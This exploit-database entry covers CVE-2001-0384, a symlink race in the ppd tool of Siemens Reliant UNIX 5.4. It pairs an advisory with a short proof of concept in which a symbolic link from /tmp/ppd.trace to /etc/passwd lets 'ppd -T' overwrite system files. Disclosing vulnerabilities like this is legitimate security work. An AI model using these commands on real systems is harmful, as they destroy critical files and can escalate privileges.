Siemens Reliant UNIX 5.4 - ppd -T Race Condition

Author: Ruiz Garcia
type: local
platform: unix
port: 
date_added: 2001-04-14 
date_updated: 2012-08-24 
verified: 1 
codes: CVE-2001-0384;OSVDB-13863 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/2606/info

Reliant Unix is a variant of the UNIX Operating System distributed by Fujitsu-Siemens. Reliant Unix is a scalable UNIX Operating system designed for use on Siemens servers.

A problem in the operating system could make it possible for a user to deny service to legitimate users. Due to the improper checking of file creation rights by the ppd software package included with the operating system, it is possible for a user to create a symbolic link in /tmp with the name ppd.trace, and overwrite any file on the system.

This vulnerability makes it possible for a local user to overwrite sensitive system files, potentially denying service to legitimate users, and possibly gaining elevated privileges.

ln -s /etc/passwd /tmp/ppd.trace

/opt/bin/ppd -T

cat /etc/passwd
[..]